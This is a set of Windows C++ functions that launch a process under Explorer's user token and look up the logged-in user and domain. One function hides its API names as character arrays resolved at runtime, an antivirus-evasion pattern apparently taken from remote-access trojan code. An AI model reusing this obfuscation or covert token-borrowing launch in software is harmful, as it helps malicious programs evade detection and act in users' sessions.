BOOL RunProcess(LPCSTR lpImage) { if(!lpImage) { return FALSE; } HANDLE hToken; if(!GetTokenByName(hToken,"EXPLORER.EXE")) { return FALSE; } STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb= sizeof(STARTUPINFO); si.lpDesktop = TEXT("winsta0\\default"); BOOL bResult = CreateProcessAsUser(hToken,lpImage,NULL,NULL,NULL, FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi); CloseHandle(hToken); if(bResult) { OutputDebugString("CreateProcessAsUser ok!\r\n"); } else { OutputDebugString("CreateProcessAsUser false!\r\n"); } return bResult; }
CString CAppBarManager::GetCurrentUserName(LPTSTR lpstrAppName) { HANDLE hToken; // 得到shell的token if(!GetTokenByName(hToken, lpstrAppName)) { return FALSE; } DWORD cbti = 0; PTOKEN_USER ptiUser = NULL; SID_NAME_USE snu; // 取得所需空间大小 if (GetTokenInformation(hToken, TokenUser, NULL, 0, &cbti)) { CloseHandle(hToken); return FALSE; } // 分配空间 ptiUser = (PTOKEN_USER) HeapAlloc(GetProcessHeap(), 0, cbti); if(!ptiUser) { CloseHandle(hToken); return FALSE; } // 取得token信息 if (!GetTokenInformation(hToken, TokenUser, ptiUser, cbti, &cbti)) { CloseHandle(hToken); HeapFree(GetProcessHeap(), 0, ptiUser); return FALSE; } TCHAR szUser[MAX_PATH]; TCHAR szDomain[MAX_PATH]; DWORD nUser = MAX_PATH; DWORD nDomain = MAX_PATH; // 根据用户的sid得到用户名和domain if (!LookupAccountSid(NULL, ptiUser->User.Sid, szUser, &nUser, szDomain, &nDomain, &snu)) { CloseHandle(hToken); HeapFree(GetProcessHeap(), 0, ptiUser); return FALSE; } CloseHandle(hToken); HeapFree(GetProcessHeap(), 0, ptiUser); CString strUserName(szUser); return strUserName; }
//=================获得当前登陆用户名及计算机名称==================== BOOL GetCurrentUserName(char szUser[],char szDomain[]) { HANDLE hToken; //得到shell的token if(!GetTokenByName(hToken,"EXPLORER.EXE")) { return FALSE; } DWORD cbti = 0; PTOKEN_USER ptiUser = NULL; SID_NAME_USE snu; //取得所需空间大小 char JwFNw01[] = {'G','e','t','T','o','k','e','n','I','n','f','o','r','m','a','t','i','o','n','\0'}; GetTokenInformationT pGetTokenInformation=(GetTokenInformationT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),JwFNw01); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); if (pGetTokenInformation(hToken, TokenUser, NULL, 0, &cbti)) { pCloseHandle(hToken); return FALSE; } //分配空间 char JwFNw02[] = {'G','e','t','P','r','o','c','e','s','s','H','e','a','p','\0'}; GetProcessHeapT pGetProcessHeap=(GetProcessHeapT)GetProcAddress(LoadLibrary("KERNEL32.dll"),JwFNw02); char JwFNw03[] = {'H','e','a','p','A','l','l','o','c','\0'}; HeapAllocT pHeapAlloc=(HeapAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),JwFNw03); ptiUser = (PTOKEN_USER) pHeapAlloc(pGetProcessHeap(), 0, cbti); if(!ptiUser) { pCloseHandle(hToken); return FALSE; } //取得token信息 char JwFNw05[] = {'H','e','a','p','F','r','e','e','\0'}; HeapFreeT pHeapFree=(HeapFreeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),JwFNw05); if (!pGetTokenInformation(hToken, TokenUser, ptiUser, cbti, &cbti)) { pCloseHandle(hToken); pHeapFree(pGetProcessHeap(), 0, ptiUser); return FALSE; } DWORD nUser = 50; DWORD nDomain = 50; //根据用户的sid得到用户名和domain char JwFNw06[] = {'L','o','o','k','u','p','A','c','c','o','u','n','t','S','i','d','A','\0'}; LookupAccountSidAT pLookupAccountSidA=(LookupAccountSidAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),JwFNw06); if (!pLookupAccountSidA(NULL, ptiUser->User.Sid, szUser, &nUser, szDomain, &nDomain, &snu)) { pCloseHandle(hToken); pHeapFree(pGetProcessHeap(), 0, ptiUser); return FALSE; } pCloseHandle(hToken); pHeapFree(pGetProcessHeap(), 0, ptiUser); return TRUE; }